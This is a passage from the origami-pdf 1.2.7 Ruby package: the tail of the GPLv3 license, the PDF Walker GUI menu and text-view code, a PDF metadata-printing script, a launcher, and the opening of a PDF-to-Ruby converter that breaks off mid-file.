apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . origami-pdf-1.2.7/bin/gui/menu.rb0000644000175000017500000003363012130767505016771 0ustar terceiroterceiro=begin = File menu.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end module PDFWalker module Popable @@menus = Hash.new([]) @@menus[:"PDF File"] = [ { :Name => Stock::SAVE_AS, :Sensitive => true, :Callback => lambda { |widget, viewer, path| viewer.parent.save } }, { :Name => "Serialize", :Sensitive => true, :Callback => lambda { |widget, viewer, path| viewer.parent.serialize } }, { :Name => :"---" }, { :Name => Stock::PROPERTIES, :Sensitive => true, :Callback => lambda { |widget, viewer, path| viewer.parent.display_file_properties } }, { :Name => :"---" }, { :Name => Stock::CLOSE, :Sensitive => true, :Callback => lambda { |widget, viewer, path| viewer.parent.close } } ] @@menus[:Reference] = [ { :Name => Stock::JUMP_TO, :Sensitive => true, :Callback => lambda { |widget, viewer, path| viewer.row_activated(path, viewer.get_column(viewer.class::TEXTCOL)) } } ] @@menus[:Revision] = [ { :Name => "Save to this revision", :Sensitive => true, :Callback => lambda { |widget, viewer, path| revstr = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::TEXTCOL) revstr.slice!(0, "Revision ".size) revnum = revstr.to_i dialog = Gtk::FileChooserDialog.new("Save PDF File", viewer.parent, Gtk::FileChooser::ACTION_SAVE, nil, [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] ) dialog.filter = FileFilter.new.add_pattern("*.pdf") if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT viewer.parent.opened.save_upto(revnum, dialog.filename) end dialog.destroy } } ] @@menus[:Stream] = [ { :Name => "Dump encoded stream", :Sensitive => true, :Callback => lambda { |widget, viewer, path| stream = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) viewer.parent.save_data("Save stream to file", stream.rawdata) } }, { :Name => "Dump decoded stream", :Sensitive => true, :Callback => lambda { |widget, viewer, path| stream = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) viewer.parent.save_data("Save stream to file", stream.data) } } ] @@menus[:String] = [ { :Name => "Dump string", :Sensitive => true, :Callback => lambda { |widget, viewer, path| string = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) viewer.parent.save_data("Save string to file", string.value) } } ] @@menus[:Image] = @@menus[:Stream] + [ { :Name => :"---" }, { :Name => "View image", :Sensitive => true, :Callback => lambda { |widget, viewer, path| stm = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) w,h = stm.Width, stm.Height colors = case stm.ColorSpace when :DeviceGray.to_o then 1 when :DeviceRGB.to_o then 3 when :DeviceCMYK.to_o then 4 else 1 end bpc = stm.BitsPerComponent || 8 bpr = (w * colors * bpc + 7) >> 3 data = stm.data begin imgview = ImgViewer.new if stm.Filter == :DCTDecode or (stm.Filter.is_a?(Array) and stm.Filter[0] == :DCTDecode) imgview.show_compressed_img data else imgview.show_raw_img data, w, h, bpc, bpr end rescue Exception => e viewer.parent.error("#{e.class}: #{e.message}") end } } ] def popup_menu(obj, event, path) menu = Menu.new type = if obj.is_a?(Origami::Object) if obj.is_a?(Graphics::ImageXObject) :Image else obj.native_type.to_s.split("::").last.to_sym end else case obj when Origami::PDF :"PDF File" when Origami::PDF::Revision, Origami::Adobe::PPKLite::Revision :Revision when ::Array :Body when Origami::PDF::Header, Origami::Adobe::PPKLite::Header :Header when Origami::Trailer :Trailer when Origami::XRef::Section :XRefSection when Origami::XRef::Subsection :XRefSubsection when Origami::XRef, Origami::XRefToCompressedObj :XRef else :Unknown end end title = obj.is_a?(Origami::Object) ? "Object : " : "" title << type.to_s menu.append(MenuItem.new(title).set_sensitive(false).modify_text(Gtk::STATE_INSENSITIVE, Gdk::Color.new(255,0,255))) if obj.is_a?(Origami::Object) if obj.is_indirect? menu.append(MenuItem.new("Number : #{obj.no}; Generation : #{obj.generation}").set_sensitive(false)) menu.append(MenuItem.new("File offset : #{obj.file_offset}").set_sensitive(false)) xrefsproc = lambda { |widget,viewer,path| ref = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL) viewer.parent.show_xrefs(ref) } getxrefs = MenuItem.new("Search references to this object").set_sensitive(true) getxrefs.signal_connect("activate", self, path, &xrefsproc) menu.append(getxrefs) elsif not obj.parent.nil? gotoproc = lambda { |widget,viewer,path| dest = viewer.model.get_value(viewer.model.get_iter(path), viewer.class::OBJCOL).parent viewer.goto(dest) } gotoparent = MenuItem.new("Goto Parent Object").set_sensitive(true) gotoparent.signal_connect("activate", self, path, &gotoproc) menu.append(gotoparent) end end items = @@menus[type] menu.append(SeparatorMenuItem.new) if not items.empty? items.each { |item| if item[:Name] == :"---" entry = SeparatorMenuItem.new else if item[:Name].is_a?(String) entry = MenuItem.new(item[:Name]) else entry = ImageMenuItem.new(item[:Name]) end entry.set_sensitive(item[:Sensitive]) entry.signal_connect("activate", self, path, &item[:Callback]) end menu.append(entry) } menu.show_all menu.popup(nil, nil, event.button, event.time) end end class Walker < Window private def create_menus AccelMap.add_entry("/File/Open", Gdk::Keyval::GDK_O, Gdk::Window::CONTROL_MASK) AccelMap.add_entry("/File/Refresh", Gdk::Keyval::GDK_R, Gdk::Window::CONTROL_MASK) AccelMap.add_entry("/File/Close", Gdk::Keyval::GDK_W, Gdk::Window::CONTROL_MASK) AccelMap.add_entry("/File/Save", Gdk::Keyval::GDK_S, Gdk::Window::CONTROL_MASK) AccelMap.add_entry("/File/Quit", Gdk::Keyval::GDK_Q, Gdk::Window::CONTROL_MASK) AccelMap.add_entry("/Document/Search", Gdk::Keyval::GDK_F, Gdk::Window::CONTROL_MASK) @menu = MenuBar.new #################################################### file_ag = Gtk::AccelGroup.new @file_menu = Menu.new.set_accel_group(file_ag).set_accel_path("/File") add_accel_group(file_ag) @file_menu_open = ImageMenuItem.new(Stock::OPEN).set_accel_path("/File/Open") @file_menu_recent = MenuItem.new("Last opened") @file_menu_deserialize = MenuItem.new("Deserialize") @file_menu_refresh = ImageMenuItem.new(Stock::REFRESH).set_sensitive(false).set_accel_path("/File/Refresh") @file_menu_close = ImageMenuItem.new(Stock::CLOSE).set_sensitive(false).set_accel_path("/File/Close") @file_menu_saveas = ImageMenuItem.new(Stock::SAVE_AS).set_sensitive(false) @file_menu_serialize = MenuItem.new("Serialize").set_sensitive(false) @file_menu_exit = ImageMenuItem.new(Stock::QUIT).set_accel_path("/File/Quit") @export_menu = Menu.new @export_pdf_menu = MenuItem.new("As reassembled PDF").set_accel_path("/File/Save") @export_graph_menu = MenuItem.new("As GraphViz dot file") @export_graphml_menu = MenuItem.new("As GraphML file") @export_pdf_menu.signal_connect('activate') do save end @export_graph_menu.signal_connect('activate') do save_dot end @export_graphml_menu.signal_connect('activate') do save_graphml end @export_menu.append(@export_pdf_menu) @export_menu.append(@export_graph_menu) @export_menu.append(@export_graphml_menu) @file_menu_saveas.set_submenu(@export_menu) @file_menu_open.signal_connect('activate') do open end @file_menu_deserialize.signal_connect('activate') do deserialize end @file_menu_refresh.signal_connect('activate') do open(@filename) end @file_menu_close.signal_connect('activate') do close end @file_menu_serialize.signal_connect('activate') do serialize end @file_menu_exit.signal_connect('activate') do self.destroy end update_recent_menu @file_menu.append(@file_menu_open) @file_menu.append(@file_menu_recent) @file_menu.append(@file_menu_deserialize) @file_menu.append(@file_menu_refresh) @file_menu.append(@file_menu_close) @file_menu.append(@file_menu_saveas) @file_menu.append(@file_menu_serialize) @file_menu.append(@file_menu_exit) @menu.append(MenuItem.new('_File').set_submenu(@file_menu)) #################################################### doc_ag = Gtk::AccelGroup.new @document_menu = Menu.new.set_accel_group(doc_ag) add_accel_group(doc_ag) @document_menu_search = ImageMenuItem.new(Stock::FIND).set_sensitive(false).set_accel_path("/Document/Search") @document_menu_gotocatalog = MenuItem.new("Jump To Catalog").set_sensitive(false) @document_menu_gotorev = MenuItem.new("Jump To Revision...").set_sensitive(false) @document_menu_gotopage = MenuItem.new("Jump To Page...").set_sensitive(false) @document_menu_gotoobj = MenuItem.new("Jump To Object...").set_sensitive(false) @document_menu_properties = ImageMenuItem.new(Stock::PROPERTIES).set_sensitive(false) @document_menu_sign = MenuItem.new("Sign the document").set_sensitive(false) @document_menu_ur = MenuItem.new("Enable Usage Rights").set_sensitive(false) @document_menu_search.signal_connect('activate') do search end @document_menu_gotocatalog.signal_connect('activate') do goto_catalog end @document_menu_gotoobj.signal_connect('activate') do goto_object end @document_menu_properties.signal_connect('activate') do display_file_properties end @document_menu_sign.signal_connect('activate') do display_signing_wizard end @document_menu_ur.signal_connect('activate') do display_usage_rights_wizard end @document_menu.append(@document_menu_search) @document_menu.append(MenuItem.new) @document_menu.append(@document_menu_gotocatalog) @document_menu.append(@document_menu_gotorev) @document_menu.append(@document_menu_gotopage) @document_menu.append(@document_menu_gotoobj) @document_menu.append(MenuItem.new) @document_menu.append(@document_menu_sign) @document_menu.append(@document_menu_ur) @document_menu.append(@document_menu_properties) @menu.append(MenuItem.new('_Document').set_submenu(@document_menu)) #################################################### @help_menu = Menu.new @help_menu_profile = CheckMenuItem.new("Profiling (Debug purposes only)").set_active(@config.profile?) @help_menu_profile.signal_connect('toggled') do @config.set_profiling(@help_menu_profile.active?) end @help_menu_about = ImageMenuItem.new(Stock::ABOUT) @help_menu_about.signal_connect('activate') do about end @help_menu.append(@help_menu_profile) @help_menu.append(@help_menu_about) @menu.append(MenuItem.new('_Help').set_submenu(@help_menu)) #################################################### end def update_recent_menu @recent_menu = Menu.new @config.recent_files.each { |file| menu = MenuItem.new(file) menu.signal_connect('activate') do open(file) end @recent_menu.append(menu) } @file_menu_recent.set_submenu(@recent_menu) @file_menu_recent.show_all end end end origami-pdf-1.2.7/bin/gui/textview.rb0000644000175000017500000000572012101464040017665 0ustar terceiroterceiro=begin = File textview.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end module PDFWalker class Walker < Window private def create_objectview @objectview = ObjectView.new(self) end class ObjectView < Notebook attr_reader :parent attr_reader :pdfpanel, :valuepanel def initialize(parent) @parent = parent super() @pdfbuffer = TextBuffer.new @pdfview = TextView.new(@pdfbuffer).set_editable(false).set_cursor_visible(false).set_left_margin(5) @pdfpanel = ScrolledWindow.new.set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC) @pdfpanel.add_with_viewport @pdfview append_page(@pdfpanel, Label.new("PDF Code")) @pdfbuffer.create_tag("Object", :weight => Pango::WEIGHT_BOLD, #:foreground => "darkblue", :family => "Courier", :scale => Pango::AttrScale::LARGE ) end def load(object) begin self.clear pdftag = "Object" if object.is_a?(Stream) stm = "#{object.no} #{object.generation} obj\n" stm << object.dictionary.to_s #if object.rawdata.is_binary_data? # stm << "stream\n[Binary data]\nendstream" #else # stm << "stream\n#{object.rawdata}endstream" #end @pdfbuffer.set_text(stm) elsif not (object.is_a?(::Array) or object.is_a?(Array)) and not object.is_a?(PDF) and not object.is_a?(Adobe::PPKLite) and not object.is_a?(PDF::Revision) and not object.is_a?(Adobe::PPKLite::Revision) and not object.is_a?(XRefToCompressedObj) @pdfbuffer.set_text(object.to_s) end @pdfbuffer.apply_tag(pdftag, @pdfbuffer.start_iter, @pdfbuffer.end_iter) rescue Exception => e @parent.error("An error occured while loading this object.\n#{e} (#{e.class})") end end def clear @pdfbuffer.set_text("") end end end end origami-pdf-1.2.7/bin/pdfmetadata0000755000175000017500000000545511645333134017115 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: Prints out the metadata contained in a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' class OptParser BANNER = <] [-i] [-x] Prints out the metadata contained in a PDF document. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-i", "Extracts document info metadata") do |i| options[:doc_info] = true end opts.on("-x", "Extracts XMP document metadata stream") do |i| options[:doc_stream] = true end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end end def self.parse(args) options = { :output => STDOUT, } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) unless @options[:doc_info] or @options[:doc_stream] @options[:doc_info] = @options[:doc_stream] = true end target = (ARGV.empty?) ? STDIN : ARGV.shift params = { :verbosity => Parser::VERBOSE_QUIET, } pdf = PDF.read(target, params) if @options[:doc_info] if pdf.has_document_info? Console.colorprint "[*] Document information dictionary:\n", Console::Colors::MAGENTA docinfo = pdf.get_document_info docinfo.each_pair do |name, item| Console.colorprint name.value.to_s.ljust(20, ' '), Console::Colors::GREEN puts ": #{item.solve.value}" end puts end end if @options[:doc_stream] if pdf.has_metadata? Console.colorprint "[*] Metadata stream:\n", Console::Colors::MAGENTA metadata = pdf.get_metadata metadata.each_pair do |name, item| Console.colorprint name.ljust(20, ' '), Console::Colors::GREEN puts ": #{item}" end end end rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message}" exit 1 end origami-pdf-1.2.7/bin/pdfwalker0000755000175000017500000000016411756461012016612 0ustar terceiroterceiro#!/usr/bin/env ruby $:.unshift "#{File.dirname(__FILE__)}" require 'gui/walker' PDFWalker::Walker.start(ARGV[0]) origami-pdf-1.2.7/bin/pdf2ruby0000755000175000017500000002121012200424503016350 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Info Convert a PDF document to an Origami script. Experimental. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . = Author Guillaume Delugré =end require 'optparse' require 'fileutils' begin ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" require 'origami' rescue LoadError $: << ORIGAMIDIR require 'origami' end include Origami @var_hash = {} @code_hash = {} @obj_route = [] @current_idx = nil class OptParser def self.parse(args) options = {} options[:verbose] = options[:xstreams] = false opts = OptionParser.new do |opts| opts.banner = < Convert a PDF document to an Origami script (experimental). Options: BANNER opts.on("-v", "--verbose", "Verbose mode") do options[:verbose] = true end opts.on("-x", "--extract-streams", "Extract PDF streams to separate files") do options[:xstreams] = true end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end opts.parse!(args) options end end @options = OptParser.parse(ARGV) if ARGV.empty? STDERR.puts "Error: No filename was specified. #{$0} --help for details." exit 1 else TARGET = ARGV.shift end Origami::OPTIONS[:enable_type_guessing] = Origami::OPTIONS[:enable_type_propagation] = true TARGET_DIR = File.basename(TARGET, '.pdf') TARGET_FILE = 